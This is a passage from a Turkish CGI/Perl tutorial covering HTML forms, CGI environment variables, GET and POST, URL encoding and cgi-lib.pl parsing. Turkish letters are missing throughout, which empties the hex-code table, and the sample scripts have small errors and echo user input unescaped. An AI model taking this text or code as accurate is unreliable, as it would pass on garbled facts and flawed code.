etiketi bir formdaki <Input> deerlerini, <A> etiketi ise Browseri CGI programna
gnderir.
HTML ile yazlm ve grntlenmek zere Browser programlarna gnderilen
metinler balk ve gvde olmak zere iki blme ayrlr. Balk blm <HEAD>...</HEAD>
etiketlerinin, gvde blm ise <BODY>...</BODY> etiketlerinin arasnda kalr. Bir HTML
belgesinin balk blmnde yer alan bilgilerin byk blm Browserda grntlenmez;
ancak Browser bu blmdeki bilgilere bakarak, HTML belgesini tanr; bu belgeyi nasl
grntleyeceini renir. Gvde blmnde ise ziyaretinin Browser programnn
grntlemesini istediimiz verileri ve bunlarn nasl grntleneceine ilikin kodlarmz
yer alr. Bu kodlarn hemen hepsi, bizim, yani Web sayfas tasarmcsnn ziyaretimize
gndermek istediimiz veriler ve bunlarn grntlenmesine ilikindir; bizden ziyaretiye,
Sunucudan stemciye doru giden bilgilerdir.
FORM ve onun iinde yer alan INPUT etiketleri ise, tersine iler: istemciden
sunucuya, ziyaretiden tasarmcya veri tar. HTMLin ilk srmnde Form ve Input
etiketleri yoktu; <ISINDEX> etiketi ile ziyareti sadece sitede arama yapabilirdi. Ancak hi
bir Browser (ki o zaman sadece Mosaic vard!) tarafndan tam uygulanmam olan bu
etiketin yerine HTMLin daha sonraki srmlerinde istemcinin sunucuya daha ok bilgi
gnderebilmesini salayan Form ve Input etiketleri geldi. CGI programlarmz, yukardaki
rnekte olduu gibi adreslerini doruca Browsern URL adres kutusuna yazarak da
arabiliriz. Fakat CGI programlarn altrmann en yaygn yolu Form etiketidir. Bunu
Form etiketinin ACTION zellii (attribute) yapar. Hatrlarsanz, FORM etiketini yle
yazarz:
<FORM ACTI ON=cgi - program METHOD=[POST | GET]>...</FORM>
Burada Form etiketinin ACTION zelliinin karsna CGI programmzn adn,
rnein, Perl programnn dosya adnn uzantsna gre, ACTION=/cgi-bin/merhaba.pl
veya ACTION=/cgi-bin/merhaba.cgi yazarz. stemcinin Form bilgilerini CGI programmza
hangi yntemle ulatracan belirleyen Get ve Post zelliklerinin farklarn birazdan ele
alacaz. imdilik bunu atlayalm. Bu arada Form etiketinin baka zellikleri de vardr;
CGI / Perl 16
bunlardan Accept= ile form bilgisini ileyecek olan Servera, gnderilen verinin hangi
dosya trne girdiini, Enctype= ile gnderilen verinin nasl ifrelendiini bildiririz.
Form etiketinin iinde, onun eylemi (Action) ve yntemi (Method) ile gnderilecek
bilgileri derlemeye yarayan baka etiketler bulunur. imdi ksaca onlar ele alalm:
Bir Internet sitesi ziyaretisinden Input etiketi araclyla tam on ayr tr bilgi
alabiliriz. Input etiketi yle yazlr:
<INPUT NAME=Bu alann ad TYPE=[TEXT | PASSWORD | CHECKBOX | RADIO | SUBMIT
| RESET | FILE | HIDDEN | IMAGE | BUTTON] VALUE=Alfanmerik deer
SIZE=girdi_kutusu_genilii>
Input etiketinin kapanmadn (yani </INPUT> eklinde bir etiket olmadn) ve
girdi tipine gre daha baka zellikleri bulunabileceini hatrlayalm.
Input etiketi ile sunucuya, onun arclyla CGIya gelen bilgiye programclk dilinde
deiken denir. Deikeni, sabit bir ad olan fakat ierii deiebilen bir bilgi tutucu ge
olarak dnebilirsiniz; bir tr kap. Inputun oluturduu deikenin ad, etiketin NAME
(ad) zelliinden alnr; yani Inputa ad verirken, daha sonra bu adla bir deikeniniz
olacan dnmelisiniz. Bu deikenin deeri ise Ipnutun trne gre deiir. rnein,
TEXT (metin) tr Inputun deeri, Browserda oluturaca kutuya Internet ziyaretimizin
yazaca kelimelerdir. Input etiketini yazarken VALUE (deer) zelliini de yazmsak, (ve
ziyaretinin bunu deitirmesi olana yoksa), deikenin deeri VALUE zelliinin karsna
yazdmz alfanmerik (rakam, harfler veya her ikisi birden) metindir.
Bir Formun iindeki bilgilerle, ziyaretinin Browserndan (istemci) kalkp, bizim Web
Servermza ve oradan da CGIa gelmesi iin, genellikle ziyaretinin ya klavyesinde Enter
tuuna basmas ya da tipi Submit (Gnder) olan ve Browser tarafndan dme simgesiyle
grntlenen bir baka Inputu tklamas gerekir. Fakat gnder dmesi de bir Input
olduu iin Form etiketi, iindeki bilgileri paketleyip gnderirken Submitin (varsa) deerini
de gnderir.
imdi paketleyip gnderme olay zerinde duralm; nk hemen hemen tm CGI
kavram, bu Internet ziyaretimizden gelen bu ey zerine kurulacak. CGI programlarmz
ziyaretiden girdi olmadan da alabilir. Nitekim yukarda yazdmz ilk Perl program
ziyaretinin bir bilgi vermesini gerektirmiyordu. Fakat CGI program, ziyaretinin IP
adresini, renip, kendisine bildirilyordu. IP numaras, ziyaretinin sadece bu CGI
programn altrmak zere programn adn Browsernn adres hanesine yazmas ve
Entera basmas (veya yeni Browserlardaki Go/git dmesini tklamas) ile Browser
CGI / Perl 17
tarafndan CGIa gnderilmi bir bilgidir. Bu yzden CGI, ziyareti isteyerek ve bilerek
Servera bilgi gndermese de Server ziyaretiden bilgi edinmesini ve bunu CGI
programmza vermesini bilir! imdi bu bilgilerin neler olduunu grelim.
CGI programna Server tarafndan iki tr bilgi verilir:
1. Browser, Server ve kendisini hakkndaki bilgiler: Browsern tr, yetenekleri,
Browsern Internete giri noktas (Remote Host, kullanc asndan ISS), Servern tr,
Internete baland geit (Port), CGI programnn ad, bulunduu dizin, sahip olduu
deikenler gibi bilgiler, CGIa evre deikenleri (Enivonment Variables) kmesi olarak
ulatrlr (Bu deikenlere baz kaynaklarda Ortam Deikenleri denildiini grebilirsiniz..
2. Kullancnn (Internet ziyaretisinin) girdii bilgiler: Kullanc Browser
penceresinde bir Form doldurmu ise Formdaki deikenler ve deerleri (Input etiketlerine
verdiimiz adn deiken ad, bizim verdiimiz veya kullancnn girdii deerlerin de
deikenin deerini oluturduunu yukarda grmtk) de CGI programna aktarlr. Bu
aktarma ilemi iki trl yaplabilir. Formun METHOD zellii GET ise bu bilgiler yukarda
belirttiimiz evre deikenlerine katlarak verilir; METHOD olarak POST kullanmsak, bu
bilgiler standart girdi (standart input veya Perln ifadesiyle stdin) olarak gnderilir.
CGI programcs olarak yapacamz iin z, bu iki grup deikeni alp, ieriklerini
kullanlr hale getirmek ve kullanmaktan ibarettir. Burada ifade ettiimiz almak, kullanlr
hale getirmek ve kullanmak ifadelerine dikkat edin: nk CGI program ile sadece bu
ii yapacaz. Dolaysyla neyi alabileceimi, nasl alabileceimizi renerek ie balamak
zorundayz. Perl, bir programlama dili olarak bize bu ite kullanabileceimiz komutlar
salar; fakat bu komutlarl kullanarak hangi bilgi ile ne yapacamz bilmemiz gerekir.
evre Deikenleri
Aada bir liste greceksiniz; bu listede bir CGI programnn iinde bulunduu
evrenin btn nemli bilgileri yer alyor. Ama imdi bu listeye gemeden, biz kendi
bilgisayarmzdan kendi CGI evremizin deikenlerini ve deerlerini renelim. imdi, an
en sevdiiniz dzyaz programn ve balayn yazmaya (Eer ill kelime iilem program
kullanmaya kararlysanz, metni dzyaz, salt metin, ASCII, ANSI veya Text only olarak
kaydetmeyi unutmayn):
print "HTTP/1.0 200 OK\n";
print "Content-Type: text/html\n\n";
CGI / Perl 18

print "<HTML>\n";
print "<HEAD>\n";
print "<TITLE>CGI Cevre Degiskenleri</TITLE>\n";
print "<meta http-equiv=\"content-type\" content=\"text/html;
charset=ISO-8859-9\">\n";
print "<meta http-equiv=\"Content-Type\" content=\"text/html;
charset=windows-1254\">\n";
print "</HEAD>\n";
print "<BODY>\n";
print "<P>\n";
print "<H1>CGI evre Deikenleri ve Deerleri</H1>\n";
foreach $env_var (keys %ENV)
{
print "<B>$env_var</B> = $ENV{$env_var}<BR>\n";
}

print "</BODY>\n";
print "</HEAD>\n";
print "</HTML>\n";

Sonra bu metni rnein cevre.pl (veya kiisel Web Servernzn .pl uzatmas gibi
.cgi uzatmasn da Perl dosyas saymasn saladysanz, cevre.cgi) adyla, kiisel
Servernzn kk dizinine (Windows ortamnda muhtemelen c:\inetpub\wwwroot olmal)
kaydedin. Ve Browsernzn URL adresi hanesine Servernzn protokol ve yol adyla birlikte
bu dosyann adn yazn (rnein: http://benim_server/cevre.pl), klavyede Entera basn.
<cgi-perl007.tif>
te sizin kiisel Web Servernzn cevre.pl veya cevre.cgi programna salad
ortam! Btn deikenlerinizi ve deerlerini gryorsunuz. Muhtemelen kendi
bilgisayarnzn burada grntlenen bir ok zelliini tandnz: Autoexec.bat dosyasndaki
CGI / Perl 19
Path satrnn deerini, bilgisayarnzn ve dolaysyla kiisel Servernzn adn, hatta bu
program Windows ortamnda altrdysanz, Windowsun srmn bile gryorsunuz.
CGI, bunlar nereden biliyor? Kiisel Web Servernz ona bildirdii iin. Kiisel Web Server
bunu CGI nasl bildiriyor? evre Deikenleri kmesi ile.
//////////////////KUTU/////////////////
Shebang nereye gitti!
Kim nereye gitti? Madem ki Perl reniyoruz, leyse yllarn Unixisi gibi
konumaya da almamz gerek: # ve ! iaretleri Unix iletim sistemine, aadaki Scripti
(betiki) Perl yorumlaycs ile yorumlamasn ve bu yorumlaycnn nerede bulunduunu
bildirir. Shebang [i-beng] denmesinin sebebi de mzikte kullanlan diyez (#) iaretinin
Sharp, nlem (!) iaretinin de bang diye okunmasndan kaynaklanr; ikisine birarada
shebang denir. Bu komut satr genellikle le yazlr:
#! / usr / l ocal / bi n/ per l
Bununla Unix iletim sistemine Perl yorumlaycsnn kk dizinde, usr klasrnde,
local alt-klasrndeki bin alt-alt klasrnde olduunu belirtmi oluruz. Windows ortamnda
buna gerek yok; nk kiisel Web Servermz kurduktan sonra Registry kaytlarnda
Browserlara ve dier ilgili programlara Perl konusunda kimden nasl yardm isteyecekleri
gsteren deilikler yapmtk.
Bununla birlikte, yazacanz Perl programlar kendi bilgisayarnzda ve Windows
iletim sisteminde deil, byk bir ihtimalle Web sitenize evsahiplii yapan firmann
bilgisayarnda ve Unix sisteminde alacak. Dolaysyla CGI programlarnzda Shebange ve
Perln yerini belirten ilk satra ihtiyacnz olacak. Bundan byle, kendi bilgisayarmzda
ihtiya olmasa da elimizi altrmak iin rnek kodlarmzda Shebange yer vereceiz. Bunun
Windows ortamnda hi bir zarar olmaz. Servera gnderdiiniz CGI programlarnz
ilemezse, nce birinci satrda Shebang bulunup bulunmadna ve yazdnz yolun doru
olup olmadna bakn. Perl yorumlaycsnn nerede bulunduunu Server operatrne
sorabilirsiniz.
////////////////////////////////////////////////////KUTU BTT/////////
Kendi bilgisayarmzda CGIn alt evrenin bu kadar ok deikeni ve deeri
olmasna ramen, normal durumlarda CGI programlarmzda bu deikenlerin tmn
kullanmayz. CGI programlama asndan nemli evre deikenleri ve deerleri yle
sralanr:
CGI / Perl 20
EVRE DEKEN .......... ANLAMI
REMOTE_ADDR .................. stemci bilgisayarn IP adresi
REMOTE_HOST .................. stemcinin bilgisayarnn ad (Muhtemelen yine istemcinin IPsi)
HTTP_ACCEPT ................... Browsern tanyabilecei MIME trleri
HTTP_USER_AGENT ........... Browser hakknda bilgi (ad, srm iletim sistemi, vs.)
HTTP_REFERER .................. Browsern bizim sitemize gelmeden nce grntledii son
URL (Burada referer referansta bulunan, kpr veren,
gnderen anlamna gelmekle birlikte, sitemizi ziyaret eden
kullancnn sizim sitemize getii son sitede bizim sayfamza
bir kpr bulunduu anlam kmaz; ziyareti bizim adresimizi
URL adres kutusuna kendisi yazsa bile, HTTP_REFERER
deikeninin deeri olarak son URL kaydedilir.)
REQUEST_METHOD ............ GET veya POST
CONTENT_LENGTH ............. POST yoluyla gnderilmi bilginin boyutu (bykl). GET
yntemi kullanldnda veya istemci bilgi gndermediinde
tanmlanmam saylr)
QUERY_STRING ................. stemcinin GET yoluyla gnderdii btn bilgilerden yaplm
bilgi yuma (String)
PATH_INFO ....................... CGI programnn altrld dizine gre (greli) Path (arama
yolu) bilgisi.
PATH_TRANSLATED ............ Greli arama yolunun gerek disk ve dizin adlaryla ifadesi
imdi bu listeye gre kendi kiisel Web Servernzn verdii bilgileri
yorumlayabilirsiniz; fakat ok sk kullanacamz iki deikenin, CONTENT_LENGTH ve
QUERY_STRING deikenlerinin tanmlanmam ve bo olduunu gryor olmalsnz.
Yntem Fark: GET ve POST
CONTENT_LENGTH ve QUERY_STRING deikenlerinin dorudan bizim Form
etiketimizin METHOD zelliine bal olduunu farkettiniz mi? METHOD olarak GET veya
POST kullanabiliriz. Bu, bizim ziyaretimizden nasl ve ne boyutta bilgi alacamz ve
bilginin CGI programna nasl aktarlacan belirler.
CGI / Perl 21
Formun oluturduu ve sizin GET yntemi ile aldnz bilgiler, evre
deikenlerinden QUERY_STRING deikeninin iine yazlr. Baka bir ifade ile Formdaki
btn deikenlerin adlar ve bu deikenin ierdii deer yumak yaplr (bu yuman
niteliine ve nasl zeceimize geleceiz!) ve Serverda QUERY_STRING deikeninin
deeri olarak yazlr. Daha sonra belirteceiz, ama imdiden bir kenara yazn: Formun
gnderdii deikenler ve deerleri artk dz metin haline gelmitir; bundan yeniden
program yoluyla kullanlabilir deikenler retmek ve bu deikenlere ziyaretiden gelen
deerleri atamak bizim iimiz olacak (ve galiba Perl ile CGI progralamann da en can alc
noktasn oluturacak!).
Formun bilgilerini POST yoluyla alm olsaydk bunlar CGI program iin standart
girdi (stdin) olarak gelecekti. Bu iki yntem arasndaki balca fark (ve herkesin POST
yntemini tercih etmesinin sebebi) stdinin bilgi tutma kapasitesinin snrsz olmasndan
ibarettir. QUERY_STRING deikeni, Servera, ve bu programn ayarlarna gre snrl
boyutta bilgi tutabilir. Formlarnzda ok alan (yani ok deiken ve ok deer) varsa,
mutlaka POST yntemini kullanmalsnz. Aksi taktirde, bu bilgilerin QUERY_STRING
deikeninin bilgi tutma kapasitesini aan blm, Server tarafndan silinir, CGI
programna aktarlmaz.
evre deikenlerimizden REQUEST_METHOD, Formdan bilgilerin hangi yntemle
geldiini gsterdiinize gre, CGI programmz yazarken, nce bu deikenin ieriini
kontrol edebiliriz; bu GET ise, demek ki Formun bilgileri QUERY_STRING deikeninin iinde
paket halinde duruyor. REQUEST_METHOD deikenin deeri POST ise, ziyaretimizin
Formumuza yazd bilgiler, stdin olarak gelmi ve stdinin o andaki boyutunu gsteren bilgi
de CONTENT_LENGTH deikenine ilenmi demektir. Bunlar tekrar ediyoruz; nk
birazdan bu bilgilerin tmnnden, Form bilgilerini kullanlr hale getirirken yararlanacaz.
Bilgi Yuma
Peki, bu kadar teori yeter; imdi bir deney daha yapalm. Hem Form bilgimizi
tazeleyelim, hem de Formdan gelen bilginin nasl yumaklandn grelim. An Not
Defterini veya onsuz olamadnz dz yaz programn ve balayn yazmaya:
<HTML>
<HEAD>
<TITLE>FORM ORNEGI</TITLE>
<meta http-equiv="content-type" content="text/html; charset=ISO-8859-9">
CGI / Perl 22
<meta http-equiv="Content-Type" content="text/html; charset=windows-1254">
</HEAD>
<BODY>
<FORM ACTION="isim-yas.pl" METHOD=POST>
Adnz: <INPUT TYPE=text NAME="isim"><p>
Yanz: <INPUT TYPE=text NAME="yas"><p>
<INPUT TYPE=submit VALUE="Gnder">
</FORM>
</BODY>
</HEAD>
</HTML>

Bitirince, bu belgeyi isim-yas.htm adyla kaydedin, fakat kapatmayn; Form
etiketinin her iki zelliini silin; etiket tek bana (<FORM>) kalsn. Bu dosyay yeniden
fakat adn deitirerek, rnein isim-yas-gecici.htm adyla, kaydedin. Tamam m? imdi
ikinci kaydettiiniz geici HTML dosyasn Browsernzda an. Adnz ve yanz yazn;
Gnder dmesini tklayn ve Browsernzn Adtres hanesine bakn:
<cgi-perl008.tif>
Burada una benzer bilgi yuman gryor olmalsnz:
isim=Mustafa+Durcan&yas=23
Bu, Formdaki deikenlerin (isim ve yas), Formu dolduran kii tarafndan verilen
deerlerle birlikte Servera, oradan da CGI programna sunulu biimidir. Browser, bir
Formun Inputlarnn adlar ile bu alana yazlan deerleri, bir String (ba) haline getirir; ve
Servera gnderir. Bu Stringin oluturulmasnda u kurallarn izlenmi olduuna dikkat
edin:
1. Deiken adlar kendilerine ait deerle eittir (=) iaretiyle birletiriliyor;
2. deiken=deer iftleri ve anlamna gelen Ampersand (&) iaretiyle birbirine
ekleniyor;
3. Deerin iinde boluk varsa yerine art (+) iareti konuyor.
CGI / Perl 23
Bu ileme URL Encoding sistemi denir; buradaki rnekte grlmemekle birlikte,
standart ASCII karakterler dndaki harfler ve iaretler yzde (%) iareti ve heksadesimal
(16 tabanl) kodlara evrilir.
////////////////////////KUTU/////////////////////
Hexadecimal Trke!
URL Encoding emasnda, Trke karakterlerin kodlar yledir:
: F0
: D0
: FD
: DD
: FC
: DC
: FE
: DE
: F6
: D6
: E7
: C7
(URL Encoding emasna gre, yzde iareti %25, Ve (&) iareti %26 ve iftatal
(#) iareti ise %23 olarak ifrelenir.)
///////////////////KUTU BTT////////////////
Bu deneyi yapmakla, Browsern Formdaki bilgileri Servera nasl gnderdiini
grm olduk. imdi bu bilgi yuman aan bir CGI program yazalm. Bu sizin ilk form
ileme programnz olacak! Evet, Not Defteri gibi bir program aarak, yazmaya balyoruz:
#!/usr/local/bin/perl
# isim-yas.pl
require 'cgi-lib.pl'

CGI / Perl 24
&ReadParse(*girdi);
print "Content-Type: text/html\r\n\r\n";
print "<HTML>\n";
print "<HEAD>\n";
print "<TITLE>ISIM-YAS</TITLE>\n";
print "<meta http-equiv=\"content-type\" content=\"text/html; charset=ISO-8859-
9\">\n";
print "<meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-
1254\">\n";
print "</HEAD>\n";
print "<BODY>\n";
print "<P>\n";
print "Merhaba, " . $girdi{'isim'} . ". Sen\n";
print $girdi{'yas'} . " yandasn.<p>\n";
print "</BODY>\n";
print "</HEAD>\n";
print "</HTML>\n";

Yazmay bitirince bu kodu isim-yas.pl adyla kaydetmek zorundasnz. Neden?
nk bu program aracak veya altracak olan bir nceki HTML kodunda Form
etiketinde ACTION hanesine bu ad verdik. isim-yas.htm sayfasnda Formu dolduran kii
Gnder dmesini tklad anda, Browser Servera, Sizin oralarda isim-yas.pl adnda bir
CGI program olacak.. u yumak yaptm bilgileri ona verir misin, ltfen? diyecek; Server,
bu isimli CGI programn arayacak; bulamazsa Browsera hata mesaj gnderecek; bulursa
CGI programna Al bakalm, sana bir yumak bilgi geldi; ne yapacaksan, yap! diyerek,
ziyaretinin gnderdii bilgileri devredecektir. Dolaysyla Formun ACTION hanesine adn
yazdmz CGI programnn belirtilen yerde olmasn salamak Web Tasarmcs olarak
bizim grevimiz.
(CGI programclar Perl program yazarken, kodun bana dosyann kendi adn da
yazarlar. Burada grdnz rnekte Shebanginin hemen altndaki # isim-yas.pl satr,
CGI / Perl 25
programcnn kendisi ve daha sonra bu kodu irdeleyecek veya kullanacak kiiler iin ald
bir gvenlik nlemidir.)
Biz de birazdan kodumuzu irdeleyeceiz; ama nce isim-yas.htm sayfasn
Browsernzda an; Formu doldurup, gnder dmesini tklayn; una benzer bir karlk
alm olmalsnz:
<cgi-perl009.tif>
Yuma aalm
Yukarda, CGI programlarnn yapt ileri kavramsal olarak belirtirken, bilgi
yuman ama iinin Perl programnn asl grevlerinden biri olduunu kaydetmitik.
Yazdmz Perl program bunu yaparak, kendisine String halinde gelen (rnein:
isim=Mustafa+Durcan&yas=23) bilgiyi kullanlabilir hale getiriyor. String halindeki verinin
kullanlr hale getirilmesine Parsing (dilbilgisi bilimindebir cmleyi gramer bakmndan
incelemek anlamna gelir) denir. Formdan gelen ve adeta birbirine girmi ve hatta
ifrelenmi olan deerlerin almas, eittir (=) iaretinin solundaki kelime, rakam veya
iaretin deiken ad, sandakilerin deikenin deeri haline getirilmesi gerekir. Bu arada
art (+) iaretinin yerine boluk konmas, nnde yzde iareti bulunan iki karakterin URL
Encoding emasna gre harfe veya iarete evrilmesi arttr. Aksi taktirde deerlerimizi
kullanamayz. (Sizin adnz Hakk%FD+%D6caldr diye bir karlk verdiimizi
dnebiliyor musunuz?)
Fakat biz Web amal CGI programclar bu bakmdan anslyz; nk cidd
programclk amacyla Perl renmi Steven K. Brenner gibi uzmanlar, oturmu bir CGI
programna GET veya POST yntemiyle gelebilecek verileri inceleyip, deiken=deer
iftlerini ortaya tkartan ve bunu Perle dizi deiken olarak reten program paracklar
yazmlar. Bizim btn yapacamz, Perl Kitapl (Library) ad verilen bu program
paracklarn kendi Perl programmzda kullanlr hale getirmektir. Byle, dardaki bir Perl
programn kendi programmzn iinde kullanmak istersek, kendi programmzn banda
Perl yorumlaycsna (rnein perl.exe) bizim program icra etmeye balamadan nce
dardaki bu kitapl alp, altrmasn bildirmemiz gerekir. Buradaki rneimizde bunu,
require 'cgi-lib.pl' satr ile yapyoruz. Bu satrdaki require komutu, bizim
bilgisayarmzdaki perl.exeye veya Servern bulunduu bilgisayardaki Perl yorumlaycsna
ie balamadan nce cgi-lib.pl adndaki Perl programn altrmasn bildiriyor. cgi-lib.pl
programn Steven K. Brenner 1995te yazarak Prel programclarna armaan etmi
bulunuyor. (Bu program, bu kitapn rnek dosyalar arasnda bulabilirsiniz.)
CGI / Perl 26
cgi-lib.pl programnda bir ka fonskiyon tanmlanm bulunuyor. Perln defalarca
yapmas gereken ileri, bu iin yaplmas iin gerekli bilgi kmesi ve komutlarla birlikte bir
grup haline getirir ve bu gruba bir isim verirsek ortaya bir fonksiyon kartm oluruz.
Szgelimi, Perle Filanca yerdeki u Stringi al; iindeki filanca iareti bul; eer bu iaret
una eitse, nndeki grubu dizi deiken ad yap... diye bir dizi komut verebilirdik. Fakat
bu hem yorucu olurdu; hem de hata yapma olaslmz arttrmaya yarard. Oysa, cgi-
lib.pl programnda Parsing ilemi iin gelitirilmi fonksiyonlar var. Biz bu fonksiyonlarn
yapt i kmesine ihtiya duyduumuz yerde kendi yazdmz Perl programna Stevenn
programndaki filanca fonksilonu al, ne emrediyorsa yap, sonucu da gel bana bildir!
dersek, ilerimiz daha kolay hale gelmi olur.
te bu tr, bir isim altnda toplanm ilem paketlerine Function (ilev) ad verilir;
Perl dier btn programlar gibi kendisine u fonksiyonu yap! dediiniz noktada
yapmakta olduu ii durdurur ve fonksiyon paketindeki ileri yapar; bu paket ortaya bir
deiken veya sonu kartyorsa, o bilgiyi edinmi olarak yarm brakt ileme geri dner.
Fonksiyon yazmamzdaki veya hazr fonksiyonlar kullanmamzdaki birinci sebep, Perle,
Fonksiyonun salayaca bilgiyi kazandrmaktr.
Perln yukardaki rneklerde kullandmz baz komutlar, rnein print komutu
aslnda Fonksiyon diye adlandrlr; eer biz bir fonksiyon yazyorsak, buna subrutin
(subroutine) denir. Daha sonra subrutin yazmay greceiz; imdi sadece Stevenn (veya
kendi Perlmze eklediimiz herhangi bir haric kitaplk dosyalarndaki) subrutinlerine nasl
atf yaptmza dikkat edelim. cgi-lib.pl programnda tanmlanm olan ReadParse
subrutini, GET veya POST yoluyla alnm veriyi okur ve bunlartrn ve niteliini daha
sonra greceimizdizi deikenlerin (array) iine yazar. Perl iine iyice sndmza gre,
bu dilin kendi argosunu renebilmek iin belirtelim: Perlde buradaki gibi dardan
aldmz deiken=deer iftlerine anahtar/deer denir; deiken ad Perln kendi
iinde oluturduu veri tutma alanlar iin kullanlr.
Perl programclk evrelerinde bir ok kitaplk-program bulabilirsiniz; cgi-lib.plnin en
ok kullanlan kitaplk olmasnn sebebi, anahtar/deer dizisinin yazlaca deikenin adn
bizim verebilmemizdir. cgi-lib.plin GET veya POST verisini okuyan ve irderelen subrutininin
ad ReadParsedr; dolaysyla bu subrutine biz &ReadParse eklinde gndermede
bulunuruz. Bu gnderme &ReadParse(*girdi); eklinde yaplr. Bu komutla, cgi-lib.pl
programna Benim GET veya POST verilerimi okuyur, anahtar/deer iftlerini bul; bunlar
girdi isimli dizi deikenin iine yaz! demi oluyoruz. Formun bulunduu HTML sayfasn
tasarlayan biz olduumuza gre, Input etiketlerimizin adlarn (yani CGIda anahtar/deer
CGI / Perl 27
iftinde anahtar olacak kelimeleri biliyoruz. (Buradaki rnekte, isim ve yas.) Eer isim
adl anahtarn deerini bilmek istiyorsam, btn yapacam ey, girdi dizi-deikeninin
isim ve yas adl anahtarlarnn deerlerini sorgulamaktan ibaret. Bunu $girdi{'isim'}
ve $girdi{'yas'} ifadeleriyle yapyoruz. Fakat henz Perln yap talar olan deikenleri
tanmadmz iin, bunun zerinde durmuyoruz. O da ilerde!
//////////////////////////////KUTU/////////////////////////////////
ki nemli HTML etiketi
CGIn HTMLin Form ve Input etiketleri ile yakndan ilgili olduunu grdk; ne var ki
HTML ile iimiz bitmedi. Gerekten de HTML belgesindeki bir ok etiket, CGI programmzla
ilgili olabilir veya biz CGI programyla oluturduumuz HTML belgelerinde bu etiketleri ve
ieriklerini yazabiliriz. CGI tasarmcs iin HTML bilgisi ok nemlidir. Burada baz HTML
etiketlerine ilikin bilgilerimizi ksaca tekrar edelim. HTMLi ok iyi bilseniz de burada ele
alacamz etiketlerin CGI asndan nemi zerinde duracamz iin bu blm
atlamasanz, iyi olur.
<BASE> Etiketi
Bir belgede daha sonra belirtilecek kaynaklarn aranmas gereken temel URLi
gsterir. Diyelim ki HTML belgesinde bir resme yer veriyorsunuz. HTML dosyasn siz
yazdnzda bunu muhtemelen yle yazarsnz:
<IMG SRC=cicekler.png>
Web Server cicekler.png dosyasn da HTML ile birlikte Browsera gnderebilmek
iin bu resmi ona atf yaplan HTML dosyas ile ayn dizinde arayacaktr. Byle bir HTML
etiketini CGI program yoluyla yazdrrsanz, muhtemelen yle bir Perl kodu yazacaksnz:
print "<IMG SRC=\cicekler.png\>\n";
imdi, eer daha sonra nereceimiz gvenlik nlemlerini yerine getirir ve btn
Perl dosyalarn sitenizin kk dizininde /cgi-bin/ alt-dizininde toplarsanz, Server bu kez
resim dosyasn CGI programnzn durduu dizinde arayacak; ve byk bir olaslkla
bulamayacaktr. BASE etiketi, Server ve Browsera btn blge iin geerli bir temel
hareket noktas veya temel dizin vermeye yarar. HTML belgesinin balk blmnde yle
bir etiket yazarsanz, Server da, Browser da, neyi nerede arayacaklarn bilmi olurlar:
<BASE HREF=ht t p: / / beni m_si t em. com. t r / r esi ml er / >
CGI programlama kolayl bakmndan dnmeseniz bile, her resim iin ayr ayr:
CGI / Perl 28
print <IMG SRC=\http://benim_sitem.com.tr/resimler/cicekler.png\>\n;
yazmaktan kurtulursunuz. Kald ki, resimlerinizi bir baka dizine aldnzda sitedeki
btn kodlar tek tek dzeltmektense, sadece CGI programnzn bir satrn dzeltmek daha
kolay olmal.
<META> Etiketi
Siz Browsern URL adres hanesine http://bilmenne.com/filanca.htm yazp Entera
bastnzda, Internette Bilmemne.com olarak bilinen bilgisayar, sizin bilgisayarnza
filanca.htm dosyasn gndermeye kalkmadan nce, HTTP Headers denen bir takm n
bilgiler gnderir; ve bylece bir bakma Browser alaca belgeyi nasl anlamas ve
yorumlamas gerektii konusunda uyarm olur. HTML dili ikinci srmne ulatnda,
uzmanlar, bu balklar da standardize ederek, HTML belgesinin balk
(<HEAD>..</HEAD>) blmne koymay dndler. Bylece Servern Browsera
gnderecei n bilgiler de Web tasarmcsnn kontrolne girdi.
Biz yukardaki rneklerde bir META etiketini (http-equiv=.. content=.. charset=..)
kullandk. Bundan baka meta etiketleri de vardr. rnein, Keywords META etiketi, HTML
belgesiyle ilgili arama yapldn bu kelimelere baklmasn salar. CGI programcs olarak
dinamik bir ierik sunabilmek in ziyaretiye uygun HTML sayfasn Perl programmza, bu
kelimelerle arattrabiliriz.
Baz Web Server programlar META etiketleri tam olarak okumazlar; veya ayn META
etiketinden iki kere yazarsak, birincisini unutabilirler. Fakat bu bizi yldrmamal;
sayfalarmza uygun META etiketleri daima koymalyz.
////////////////////////////////KUTU BITTI////////////////
stemcinin stekleri - Sunucunun Sunduklar
CGI programlarnn Browserla ilikisini ele aldk. Fakat CGI program, Browser iin
yazld kadar Server iin de yazlr. CGI ile Servern almasn da programlam oluruz.
Bu yzden, Servern CGI-HTML ilikisindeki yerini da tanmak zorundayz. Server
tanmaya Browser ile istem-sunu ilikisindeki yerinden balayabiliriz. Browser ile Server
nasl al veri yapyorlar; ne alp, ne veriyorlar!
Ziyareti olarak siz Browsern URL adres kutusuna, szgelimi server.com adl halay
sunucudaki merhaba.htm belgesinin adn (adresini) yazdnzda neler olur? Bunu ksaca,
adm adm grelim:
CGI / Perl 29
1. Browsern http://www.server.com/merhaba.htm adl belgeyi talep etmesi,
Servera bir HTTP Request (HTTP Talep) komutu gndermesi demektir. GET eklindeki
bu komut sadece Bana u kayna gnder! eklinde olmaz. Browser komutun arkasna
Browsern ne tr belgeler (text, HTML, Access, Excel, vs uygulama program dosyalar) ve
media (GIF, JPEG, Bitmap, vs.) kabul edebileceini, ve Browsern tr ve srmn, ve
dosya ilgili (varsa) nartlarn da ekler.
Diyelim ki bir Browser, bir Serverdan index.htm adl dosyay istiyor ve bu dosyay
ancak ve sadece 12 Ocak 2000, GMT saat 10:00dan sonra deimise gndermesini art
kouyor. Bu durumda HTTP Request yle olur:
GET /index.htm HTTP/1.1
If-Modified-Since: Sun, 12 Jan 2000 10:00:00 GMT
Accept: text-html
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt)

Burada, Browser, varsaylan talep komutu olan GET ile ne istediini ve ne kabul
edebileceini Servera bildiriyor.
2. Server bu talebi alnca nce belgeyi arar; bulamazsa Browsera hata mesaj
gnderir. Server, bu dosyay bulursa, nce uzantsna bakarak, ne tr bir dosya olduuna
karar verir; ve
3. Bu karara dayanarak, gerekli balk (header) bilgilerini ve dosyann ieriini talep
sahibi Browsera gnderir. (Bu arada balkla ierik arasna bir bo satr koymas da ihmal
etmez! Bu bo satr, Servern Browsera gnderdii iki nemli veri kmesini birbirinden
ayrmaya yarar.)
Bu bilgi aa yukar una benzer:
HTTP 1.1 200 OK
Date: Mon, 12 Jan 2000 02:30:49 GMT
